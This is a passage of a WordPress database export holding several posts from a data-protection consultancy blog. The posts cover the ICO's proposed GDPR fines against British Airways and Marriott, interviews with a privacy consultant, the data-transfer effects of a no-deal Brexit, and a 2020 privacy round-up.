-->\n\n<!-- wp:paragraph -->\n<p>? <em>People</em>: the main concern of DP is people and if you forget that, you’ve got nothing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Top things that make </strong><a href=\"https://www.linkedin.com/feed/hashtag/?keywords=%23privacy\"><strong>#privacy</strong></a><strong> professionals sigh</strong>: </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>?‍♂️ <em>New oil</em>: sorry, personal data isn’t oil, or some other kind of commodity that can be owned then exploited and until you understand that, you just won’t understand anything about privacy, period. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>?‍♀️ <em>GDPR is done</em>: GDPR has barely started, so get real and stick with the programme, because there’s a 50 year history here and its not going away. ?‍♂️ Privacy activists are a pain: if they are, then power to them, because they do a good job and we need them. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>?‍♀️ <em>X owns privacy</em>: no, everyone owns privacy. ?‍♂️ Decades of experience: really, tell us about it.  </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>?‍♀️ <em>Security or privacy</em>: a false dichotomy, a mantra for a surveillance society or police state. ?‍♂️ Security is privacy: nope, still wrong, keep trying. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>?‍♀️ <em>They’re jumping on the bandwagon</em>: hey, this is a community and everyone is welcome, so lend them a hand. ?‍♂️ Consent is best: yes, consent is important, but it’s not the only route to lawfulness and certainly not the best or appropriate route in all circumstances. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>?‍♀️ <em>Leading privacy expert:</em> it’s not yours to claim, but for others to think. ?‍♂️ Privacy stymies innovation and competitiveness: ok, prove it. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>?‍♀️ <em>We need fines</em>: we don’t, we need a change of mindset.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>BECAUSE <a href=\"https://datarainbow.eu/2019/01/22/why-privacy-matters/\">PRIVACY MATTERS</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->','Privacy Insights by Stewart Room','','publish','closed','closed','','privacy-insights-by-stewart-room','','','2020-11-26 21:07:37','2020-11-26 21:07:37','',0,'http://datarainbow.eu/?p=458',0,'post','',0),(467,1,'2019-07-10 15:52:23','2019-07-10 14:52:23','<!-- wp:paragraph -->\n<p>Following an incident reported to the ICO in September 2018, the Information Commissioners Office (<strong>ICO</strong>), the UK\'s data protection supervisory authority, investigated and uncovered that the personal data of up to 500,000 BA customers had been unlawfully accessed. The BA\'s website had been diverted to a dummy site where customer details were harvested by hackers. Some credit cards long number and security codes had been discolosed causing serious security breaches. On 8th of July 2019, the ICO published a <a href=\"https://lnkd.in/eFdbCXT\">Notice of Intent</a> to fine British Airways 183 million £.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p><em>\"ICO has been investigating this case as lead supervisory authority on behalf of other EU Member State data protection authorities. It has also liaised with other regulators. Under the GDPR ‘one stop shop’ provisions the data protection authorities in the EU whose residents have been affected will also have the chance to comment on the ICO’s findings.</em></p><p><em>The ICO will consider carefully the representations made by the company and the other concerned data protection authorities before it takes its final decision.\"</em></p></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:paragraph -->\n<p>  The Following day, a Notice of Intention was issued against Marriott International.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p>\"Following an extensive investigation the ICO has issued a notice of its intention to fine Marriott International £99,200,396 for infringements of the General Data Protection Regulation (GDPR).\"</p><p>The proposed fine relates to a cyber incident which was notified to the ICO by Marriott in November 2018. A variety of personal data contained in approximately 339 million guest records globally were exposed by the incident, of which around 30 million related to residents of 31 countries in the European Economic Area (EEA). Seven million related to UK residents.</p><p>It is believed the vulnerability began when the systems of the Starwood hotels group were compromised in 2014. Marriott subsequently acquired Starwood in 2016, but the exposure of customer information was not discovered until 2018. The ICO’s investigation found that Marriott failed to undertake sufficient due diligence when it bought Starwood and should also have done more to secure its systems.</p></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:paragraph -->\n<p>It will be interesting to watch the effects of a no deal Brexit on these cases where the ICO will no longer be a lead authority and UK possibly becoming a country of non adequate data protection.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The Information Commissioner Elizabeth Denham said:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p><em>“The GDPR makes it clear that organisations must be accountable for the personal data they hold. This can include carrying out proper due diligence when making a corporate acquisition, and putting in place proper accountability measures to assess not only what personal data has been acquired, but also how it is protected.</em></p><p><em>“<strong>Personal data has a real value so organisations have a legal duty to ensure its security,</strong> just like they would do with any other asset. If that doesn’t happen, we will not hesitate to take strong action when necessary to protect the rights of the public.”</em></p></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:paragraph -->\n<p>In an <a href=\"https://www.wsj.com/articles/u-k-regulator-on-why-it-is-pursuing-record-fines-against-ba-marriott-11562751006\">interview with WSJ Pro Cybersecurity, the&nbsp;Information Commissioner Elizabeth Denham</a> said her office considered cybersecurity gaps, among other factors, in proposing that&nbsp;<a href=\"https://quotes.wsj.com/MAR\">Marriott International</a>&nbsp;Inc.&nbsp;and <a href=\"https://quotes.wsj.com/ICAGY\">British Airways</a>&nbsp;’ parent company pay the biggest fines to date under Europe’s data-privacy laws.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p>\'<em>Companies had fundamental security flaws, says Information Commissioner Elizabeth Denham; their size and number of people affected also played a role</em>\'</p></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:paragraph -->\n<p>Both first major cases investigated by the ICO after the FB/Cambridge Analytics concern the security of personal data. It is unknown if they have been found to have infringed the \'Security Principle\' Article 5(1)(f) or the \'Security of Processing\' Article 32(1). </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>BA and Marriott International have 21 days to make representation. Other concerned EU national data protection supervisory authorities will be able to comment until the final Monetary Penalty Notice is issued.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Both organisations intend to appeal the decision.  Appeal will be presented to the First Tier Tribunal in the General Regulatory Chamber within 28 days of receiving the MPN (Section 162, UK Data Protection Act 2018).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The First Tier Tribunal must allow the appeal if it considers that either the ICO\'s decision was not made in accordance with the law, or a different outcome was expected.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The Tribunal may also dismiss the appeal, modify the notice or cancel the ICO\'s Intention of fine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>More investigations are coming to an end. Expected outcomes from Carphone Warehouse and TicketMasters are awaited. The Grace period seems to have ended.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Meanwhile, The French CNIL has kept its promised going after estate agencies, it has issued a fine of 400.000 €. In June, the <a href=\"https://www.huntonprivacyblog.com/2019/06/11/cnil-fines-french-real-estate-service-provider-for-data-security-and-retention-failures/\">CNIL Fines French Real Estate Service Provider for Data Security and Retention Failures.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We will conclude by saying GDPR compliance could seem costly, watch for the cost of non compliance. Privacy Impact Assessment/DPIA, data minimisation and other healthy GDPR requirement would have avoid the security breaches that cost in fines and trust. Next to Data Protection authorities sanctions are customers distrust and other legal actions including class actions.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>This work is licensed under a&nbsp;<a rel=\"noreferrer noopener\" href=\"http://creativecommons.org/licenses/by/4.0/\" target=\"_blank\">Creative Commons Attribution 4.0 International License</a>.</li></ul>\n<!-- /wp:list -->','UK Watchdog Investigation of British Airways and Marriott Hotels Security Breaches','Following an incident reported to the ICO in September 2018, the Information Commissioners Office (ICO), the UK\'s data protection supervisory authority, investigated and uncovered that the personal data of up to 500,000 BA customers had been unlawfully accessed. The BA\'s website had been diverted to a dummy site where customer details were harvested by hackers. Some credit cards long number and security codes had been discolosed causing serious security breaches. On 8th of July 2019, the ICO published a Notice of Intent to fine British Airways 183 million £.','publish','closed','closed','','uk-watchdog-investigation-of-british-airways-and-marriott-hotels-security-breaches','','','2020-11-26 20:22:11','2020-11-26 20:22:11','',0,'http://datarainbow.eu/?p=467',0,'post','',0),(476,1,'2019-07-10 18:25:33','2019-07-10 17:25:33','<!-- wp:heading {\"level\":3} -->\n<h3>Interview Series: Tara Taubman Bassirian, Data Protection and IP Consultant at Data Rainbow</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://datagrail.io/author/kyle-schryver\">Kyle Schryver</a>&nbsp;July 10, 2019&nbsp;<br><a href=\"https://datagrail.io/categories/interview-series\">Interview Series</a><a href=\"https://datagrail.io/categories/legal\">Legal</a><a href=\"https://datagrail.io/categories/privacy\">Privacy</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"width\":214,\"height\":299} -->\n<figure class=\"wp-block-image is-resized\"><img src=\"https://cdn.buttercms.com/4utxwgcTSpP31ZLDPzsI\" alt=\"undefined\" width=\"214\" height=\"299\"/></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://medium.com/@DataGrail/interview-series-tara-taubman-bassirian-data-protection-and-ip-consultant-at-data-rainbow-c4866c9bc2e3\">DataGrail recently interviewed Tara Taubman Bassirian</a>, Data Protection and IP Consultant at&nbsp;<a rel=\"noreferrer noopener\" href=\"https://datarainbow.eu/\" target=\"_blank\">Data Rainbow</a>&nbsp;to bring you insights from a leading legal professional in the field of data privacy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>DG:</strong>&nbsp;What is your role at Data Rainbow and what inspired you to pursue a career in legal and privacy, specifically focusing on the GDPR?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>TTB:</strong>&nbsp;In a previous life, I was a corporate lawyer in France, and now my main focus is Data Rainbow: my consultancy. Prior to Data Rainbow, I was involved in online safety, heavily researching and advising on how to stay safe online — whether you’re an adult or a child. This lead to completing a Masters of Communication and Internet Law at Queen Mary University. In short, I’m passionate about technology and want to help others make the most out of existing technologies while mitigating any potential risks associated with the internet.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Over the last few decades, technological innovations have profoundly impacted the daily lives of nearly everyone in the developed world. Technologies on the market are constantly evolving, and even older generations are adapting to the many improvements in their everyday lives. Data has become the new oil, as it’s as valuable as any commodity.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Unprecedented quantities of personal data are mined and analyzed. Collecting, storing, and aggregating is the new business model for many technology companies in our digital world, as data storage is inexpensive, and its value is ever increasing. Data Protection regulations — such as the GDPR — aim to reestablish the balance between the rights of data subjects and the data industry.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I strongly believe that privacy matters and want to ensure that privacy is maintained alongside the surge in data capture and analysis. Privacy equals transparency plus control. Without privacy, there’s no freedom nor human dignity. In turn, legislation needs to adapt in line with technological advancements; the right to privacy is a human right that needs to be fought for. The totality of privacy risks associated with the digital age are still largely unknown by most people, and we need to be educated on the potential negative outcomes before they arise.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>DG:</strong>&nbsp;What is your favorite part of working in the legal space, specifically covering data privacy practices?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>TTB:</strong>&nbsp;I would recommend any newly qualified or even established lawyer who loves innovation to enter the field of data protection, as it’s intellectually stimulating. There are continuous advancements in the technology space, which can lead to breaches of privacy or personal data. Within the technology industry, data protection lawyers are truly at the forefront of regulation. The privacy issues we’re experiencing today didn’t occur 30 years ago. With information becoming more and more accessible to us, data protection lawyers can uncover what’s going on in the technology space, how to anticipate potential negative outcomes, and how to create the best solutions for it.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>No day is routine, and each one brings about new regulations, new guidance, and new challenges. As a result, there’s a need to constantly update knowledge. Not only that, but potentially everyone is affected. Most of us in the developed world use smartphones and have social media profiles, so it’s in our best interest to be fully informed on the potential effects that technology can have on our lives. Technology greatly enriches our lives but giving up our privacy for its benefits is too big of a price to pay.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>DG:</strong>&nbsp;With rising consumer privacy awareness, how can businesses best inform users that their data is secure and private?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>TTB:</strong>&nbsp;An organization’s website can provide an initial view of how seriously they take maintaining the privacy of its customers. A compliant website, with the required cookie banner, privacy by design with opt-in options, clear privacy notice, and sensible web developing is the first step towards compliance. We recently looked at websites using JavaScript codes that track and fingerprint users, and this is not acceptable. When commissioning a website, it’s very important to use certified developers to ensure that they respect regulations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>DG:</strong>&nbsp;As someone voted Privacy Hero in 2018, what advice do you have for other privacy professionals in terms of gaining experience, knowledge, and being able to find and implement solutions for companies?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>TTB:</strong>&nbsp;The downside of this professional field is its high barrier of entry. It’s difficult to get your foot in the door without no practical experience. There’s a reticence towards hiring a Data Privacy lawyer who has not had prior experience in that role. This is further impacted by that fact that GDPR legislation requires that Data Protection Officers have legal qualifications. This poses an issue as lawyers can lack technical knowledge, while IT specialists lack legal knowledge.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Working as a Data Privacy lawyer requires extensive knowledge of both the legal and the technical worlds. There’s a serious need for lawyers with IT knowledge, as Law universities often do not teach IT. In effect, there’s a disconnect between the skills and experience required and what already exists within the market. Therefore, as a lawyer, I recommend using every resource available for self-education.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>DG:</strong>&nbsp;Based on your knowledge and experience with the GDPR, what advice can you give to companies in N. America who will have to face similar upcoming challenges with the CCPA and&nbsp;<a href=\"https://datagrail.io/blog/nevadas-new-privacy-law-how-it-matches-up-against-the-ccpa\">Nevada Privacy Law</a>?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>TTB:</strong>&nbsp;North America is quite different from the EU in the sense that there’s no blanket protection but a patchwork of sectorial regulations. Furthermore, many Americans confuse PII with Personal Data. Also, some US companies have preferred to ignore the GDPR by banning EU customers from accessing their websites. However, they will now have to comply with the CCPA and other regulations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Compliance with data protection rules creates trust amongst users. Keeping data accurate and cleaning up stored data to keep only what is necessary is a component of a good business. Data mapping is also a good start to see where data is collected and stored.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Enjoy this interview? Check out our previous&nbsp;<a href=\"https://datagrail.io/blog/interview-series-alexandra-ross\">Interview Series with Alexandra Ross</a>, Director, Global Privacy and Data Security Counsel at Autodesk!</strong></p>\n<!-- /wp:paragraph -->','Interview with DataGrail','Interview Series: Tara Taubman Bassirian, Data Protection and IP Consultant at Data Rainbow','publish','closed','closed','','interview-with-datagrail','','','2020-11-26 20:48:44','2020-11-26 20:48:44','',0,'http://datarainbow.eu/?p=476',0,'post','',0),(484,1,'2019-10-12 00:33:36','2019-10-11 23:33:36','<!-- wp:paragraph -->\n<p>Cybertalks publish WOMEN IN CYBER! Here is a sneak preview of 5 amazing women that are experts in cybersecurity speaking out about the importance of women in the cyber industry! <a href=\"https://www.linkedin.com/in/ACoAAAAteKcBtFc457ep-RMibE_gH95vaVzQIMg/\">Jane Frankland</a><a href=\"https://www.linkedin.com/in/ACoAAANQufwBINTh-Zhy2lClO-PQbpRDybfy11A/\">ASLI YILDIZ, LLM</a><a href=\"https://www.linkedin.com/in/ACoAACH29hIBq7uJ5veyfswA_nDM__CxmgPfD40/\">Erica Stanford</a><a href=\"https://www.linkedin.com/in/ACoAAAEjZSMBPHCDNL0ZfbkbHBFk7NBEwjLsbi0/\"> </a>including<a href=\"https://www.linkedin.com/in/ACoAAAEjZSMBPHCDNL0ZfbkbHBFk7NBEwjLsbi0/\"> Tara TAUBMAN-BASSIRIAN LLM.&nbsp;</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tara is interviewed about Brexit and the UK data Protection. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The UK Information commissionner has drafted a guidance <a href=\"https://ico.org.uk/for-organisations/data-protection-and-brexit/data-protection-if-theres-no-brexit-deal/\">Data protection if there\'s no Brexit deal</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>From the EDPB <a href=\"https://edpb.europa.eu/sites/edpb/files/files/file1/edpb-2019-02-12-infonote-nodeal-brexit_en.pdf\">Information note on data transfers under the GDPR in the<br> event of a no-deal Brexit,&nbsp;</a>Adopted on 12 February 2019</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>From the French Data Protection Authority, the CNIL : <a href=\"https://www.cnil.fr/fr/cnil-direct/question/1267\">Règlement européen : Brexit (\"British Exit\"), quelles conséquences sur l\'application du règlement européen au Royaume-Uni ?</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The main point is with a no deal Brexit, UK becomes a country of non adequate data protection. Data could still be exported from the UK to the EU, however, import of data from the EU to the UK will have to be protected in case by case, with Standard Contractual Clauses to be approved, a lengthy process. Binding Corporate Rules are less common. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What happens when data is being processed \"on behalf of\" the UK (or non-EU) controller Art 44 GDPR? There is no set of Clauses which deal with processor to controller transfers. Additionally, organisations regularly trading with EU will have to appoint a representative in the EU country where they have the most activity. Non EU organisations who had adopted UK as a country of their representation will have to define a new representative within the EU. This is not going to be the only complexity of dealing with the Brexit with no deal. Is your organisation ready for the jump?</p>\n<!-- /wp:paragraph -->','WOMEN IN CYBER! Brexit no Deal','Cybertalks publish WOMEN IN CYBER! Tara Taubman-Bassirian is interviewed about Brexit and the UK data Protection.','publish','closed','closed','','women-in-cyber-brexit-no-deal','','','2020-11-26 20:40:10','2020-11-26 20:40:10','',0,'http://datarainbow.eu/?p=484',0,'post','',0),(493,1,'2019-11-26 21:41:07','2019-11-26 21:41:07','<!-- wp:embed {\"url\":\"https://www.voiceamerica.com/episode/112620/null\"} -->\n<figure class=\"wp-block-embed\"><div class=\"wp-block-embed__wrapper\">\nhttps://www.voiceamerica.com/episode/112620/null\n</div></figure>\n<!-- /wp:embed -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4><strong>GDPR, Data Privacy Day and The Need for Privacy</strong></h4>\n<!-- /wp:heading -->\n\n<!-- wp:heading {\"level\":5} -->\n<h5>Hosted by Rebecca Herold</h5>\n<!-- /wp:heading -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><tbody><tr><td><a target=\"_blank\" href=\"https://www.voiceamerica.com/guest/42903/tara-taubman-bassirian\" rel=\"noreferrer noopener\">Tara Taubman-Bassirian</a></td></tr></tbody></table></figure>\n<!-- /wp:table -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4><a href=\"https://www.voiceamerica.com/episode/112620/gdpr-data-privacy-day-and-the-need-for-privacy\">Episode Description</a></h4>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>2018 privacy hero of the year, Tara Taubman-Bassirian, discusses the EU GDPR, the increasing need for protecting privacy in the increasingly technology-rich environment, and some activities for Data Privacy Day on January 28, 2019. What are the benefits of GDPR? Where can it be improved upon? What do companies struggle with most for GDPR compliance? What is a “hot potato” GDPR issue? How are binding corporate rules (BCRs) used for non-adequate countries? How has Brexit impacted GDPR compliance? Why does privacy matter? What are the current largest threats to privacy? What are some activities for Data Privacy Day? Hear Tara discuss these topics, and more, <a href=\"https://www.voiceamerica.com/episode/112620/gdpr-data-privacy-day-and-the-need-for-privacy\">with Rebecca</a>.</p>\n<!-- /wp:paragraph -->','Interview With the Privacy Professor Rebecca Herold','2018 privacy hero of the year, Tara Taubman-Bassirian, discusses the EU GDPR, the increasing need for protecting privacy in the increasingly technology-rich environment, and some activities for Data Privacy Day on January 28, 2019. What are the benefits of GDPR? Where can it be improved upon? What do companies struggle with most for GDPR compliance? What is a “hot potato” GDPR issue? How are binding corporate rules (BCRs) used for non-adequate countries? How has Brexit impacted GDPR compliance? Why does privacy matter? What are the current largest threats to privacy? What are some activities for Data Privacy Day? Hear Tara discuss these topics, and more, with Rebecca.','publish','closed','closed','','interview-with-the-privacy-professor-rebecca-herold','','','2020-11-26 20:44:48','2020-11-26 20:44:48','',0,'http://datarainbow.eu/?p=493',0,'post','',0),(498,1,'2019-11-26 21:43:43','2019-11-26 21:43:43','<!-- wp:core-embed/wordpress {\"url\":\"https://cybertalks.co.uk/interviews/ico-slow-to-fine-organisations/\",\"type\":\"wp-embed\",\"providerNameSlug\":\"cybertalks\"} -->\n<figure class=\"wp-block-embed-wordpress wp-block-embed is-type-wp-embed is-provider-cybertalks\"><div class=\"wp-block-embed__wrapper\">\nhttps://cybertalks.co.uk/interviews/ico-slow-to-fine-organisations/\n</div></figure>\n<!-- /wp:core-embed/wordpress -->\n\n<!-- wp:paragraph -->\n<p>Pre GDPR data privacy principles were ignored…and companies are still complacent as the ICO has been slow to fine organisations for failure to comply.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://cybertalks.co.uk/profile/tara-taubman-bassirian/\">Tara Taubman-Bassirian</a>&nbsp;LLM,&nbsp;GDPR, Data Protection and IP consultant – Voted Privacy Hero of the Year, talks to&nbsp;<a href=\"https://cybertalks.co.uk/profile/karla-reffold/\">Karla Reffold</a>&nbsp;in a <a href=\"https://cybertalks.co.uk/interviews/ico-slow-to-fine-organisations/\">Cybertals interview</a> about GDPR and the rights of Data Subjects.</p>\n<!-- /wp:paragraph -->','Interview with Cybertalks','','publish','closed','closed','','interview-by-cybertalks','','','2020-11-27 00:15:25','2020-11-27 00:15:25','',0,'http://datarainbow.eu/?p=498',0,'post','',0),(503,1,'2019-11-26 22:12:37','2019-11-26 22:12:37','<!-- wp:paragraph -->\n<p>Hilcenko, Christine; Taubman-Bassirian, Tara</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Access to knowledge for everyone in the increasingly-interconnected society has been a tool for democracy. We discuss here the dangers of a world online and the growing concerns about state surveillance, security, privacy and exploitation. We discuss our right to protect our individual freedom. We conclude that privacy is a fundamental Human Rights in order to guarantee human dignity and freedom.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://repozytorium.ur.edu.pl/handle/item/4959\">https://repozytorium.ur.edu.pl/handle/item/4959</a></p>\n<!-- /wp:paragraph -->','Privacy, Education and Human Dignity','Access to knowledge for everyone in the increasingly-interconnected society has been a tool for democracy. We discuss here the dangers of a world online and the growing concerns about state surveillance, security, privacy and exploitation. We discuss our right to protect our individual freedom. We conclude that privacy is a fundamental Human Rights in order to guarantee human dignity and freedom.','publish','closed','closed','','privacy-education-and-human-dignity','','','2020-11-26 20:36:36','2020-11-26 20:36:36','',0,'http://datarainbow.eu/?p=503',0,'post','',0),(508,1,'2020-01-03 20:22:55','2020-01-03 20:22:55','<!-- wp:paragraph -->\n<p>A New Year, a new decade, a new Privacy law, the <a href=\"https://www.caprivacy.org\">California Consumer Privacy Act</a> entered into force this January 2020.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The EU General Data Protection Regulation made a big bang noise with its unprecedented treat of fines. The general public started to be more aware of the value of their personal data. As we had predicted we whitened a deluge of Data Subject Access Request. However, Data Protection Authorities enforcements in the EU have been rather disappointing. The <a href=\"https://datarainbow.eu/2019/07/10/uk-watchdog-investigation-of-british-airways-and-marriott-hotels-security-breaches/\">UK ICO</a> has just announced <a href=\"https://www.mishcon.com/news/ico-agrees-delay-over-gdpr-fines-with-both-ba-and-marriott\">the British Airways and Marriott Hotels \'intends of fine\' decision has been delayed</a>. The Irish Data Protection Commissionner is still awaited to prosecute the <a href=\"https://datarainbow.eu/2019/04/04/facebook-saga/\">US corporations</a> who have found refuge in Ireland for its tax and legislation clemency. <a href=\"https://datarainbow.eu/2019/01/27/french-cnils-six-first-month-of-gdpr/\">The French CNIL</a> change of Presidency seems to have affected its activities. France has so far created two breaches in the principle of consistency mechanisms in the enforcement of the regulation : first by following the Spanish authority in the creation of Data Protection Officers certification despite the position of the EDPB and more importantly by delaying enforcement of cookies and tracking regulations. France is in total contradiction with the recent European Court of Justice ruling in Planet 49. Web tracking cookies that are not purely functional require clear transparency in the language of the target audience, and should require pre consent. This is important and we deeply deplore official websites allowing the web tracking of their visitors. Sharing personal data with third parties - think Google Analytics or Facebook React JS free library codes as we have previously wrote about - result on becoming co-controller and liable as such. So far, kudos to the <a href=\"http://www.pearltrees.com/privacyday/romania/id25627143\">Romanian DPA</a> for its enforcement and the <a href=\"https://datarainbow.eu/2019/02/22/increasing-fines-expected-from-german-dpas/\">German DPAs</a> keeping their promise. The <a href=\"http://www.pearltrees.com/privacyday/belgium-dpa/id23770807#item282897698\">Belgian DPA</a> has shown some recent activities. A few member states have not yet catch up with the regulation. Overall, as the <a href=\"http://www.pearltrees.com/privacyday/european-data-protection-board/id23766290\">EDBP</a> has warned, DPAs have lacked resources.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The EU\'s top data protection official Andrea Jelinek told the EU parliament that 4/5th of member state authorities had insufficient funds and/or personnel to do their job. She said member states needed to make sure to provide sufficient resources. <a href=\"https://www.politico.eu/article/we-have-a-huge-problem-european-regulator-despairs-over-lack-of-enforcement/\">‘We have a huge problem’: European regulator despairs over lack of enforcement. The world’s toughest privacy law proves toothless in the eyes of many critics.</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As Paul Nemitz, Principal Adviser on Justice Policy, EU Commission; Member of German Data Ethics, wrote on a tweet \"<em>Governments have lost ability to control </em><a href=\"https://twitter.com/hashtag/Google?src=hashtag_click\"><em>#Google</em></a><em> and </em><a href=\"https://twitter.com/hashtag/Facebook?src=hashtag_click\"><em>#Facebook</em></a><em>. These companies are undermining the process of democracy itself, becoming facilitators of political disinformation, influencing the political system and disrupting labour and capital markets</em>\". <br></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Opinion Global Economy A productive economic bubble is my wish for 2020 Speculation is a part of innovation and in the right conditions it can be a positive force RANA FOROOHAR</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p> <a href=\"http://www.pearltrees.com/privacyday/facial-recognition/id23427152\">Facial recognition technologies</a> continue their controversial expansion inspiring a wave of privacy fears as the software creeps into every corner of life in the US an Europe, with Chinese technologies.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.pearltrees.com/dronelaw/iot/id16214596\">IoT devices</a> are showing their insecurity, one example being the<a href=\"https://www-independent-co-uk.cdn.ampproject.org/c/s/www.independent.co.uk/life-style/gadgets-and-tech/news/google-nest-cameras-spying-home-xiaomi-hub-a9268696.html?amp&amp;fbclid=IwAR2DHiQ-Kb-cVGHOQdWMtt3lreiKBHdEtZJoOnU-grp9D2vLVffgk8RuK-4\"> Google connected camera</a> after the<a href=\"https://gizmodo-com.cdn.ampproject.org/c/s/gizmodo.com/rings-security-woes-cause-some-tech-review-sites-to-rec-1840634944/amp?fbclid=IwAR0oiPZy0PvKi01LRr95bGX5ff2emGY7SzGtv-PLjMP6onABva_SFJq30b4\"> Amazon Ring</a> hack due to weak passwords or <a href=\"https://amp-usatoday-com.cdn.ampproject.org/c/s/amp.usatoday.com/amp/2792152001?fbclid=IwAR2gSMctKCRkGhfyOCixulfNHGlx8kRqMKRQwpBdFLQRxJQTzK0r7I_3ZQ4\">Smart TVs spying</a>. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p>\"Smart doorbells are primarily marketed as a deterrent to stop people from committing crimes, and it\'s an aspiring goal to shoot for. The problem with any type of surveillance apparatus is when it wanders away from its intended use.” <a href=\"https://iapp.org/news/a/with-smart-doorbells-this-holiday-its-about-balancing-the-naughty-and-nice/?fbclid=IwAR0aGN3XXMRzbjxCdZRUgo-M3tLSXAXh17XYDvk_4GO1CrTpoqnKEPy680g\">Here</a></p></blockquote>\n<!-- /wp:quote -->\n\n<!-- wp:paragraph -->\n<p>The New York Times / Opinion - The Privacy Project, has been publishing a series of articles on privacy. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.nytimes.com/interactive/2019/12/19/opinion/location-tracking-cell-phone.html?fbclid=IwAR2BTp6snhJ6-7Wo0B2jnrcOKnomwi8oDyGEB1zveoEqcwpTKKxq8GuVLM0\">Twelve Million Phones, one Dataset, no Privacy</a> :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:quote -->\n<blockquote class=\"wp-block-quote\"><p>“THE COMPANIES THAT COLLECT all this information on your movements justify their business on the basis of three claims: People consent to be tracked, the data is anonymous and the 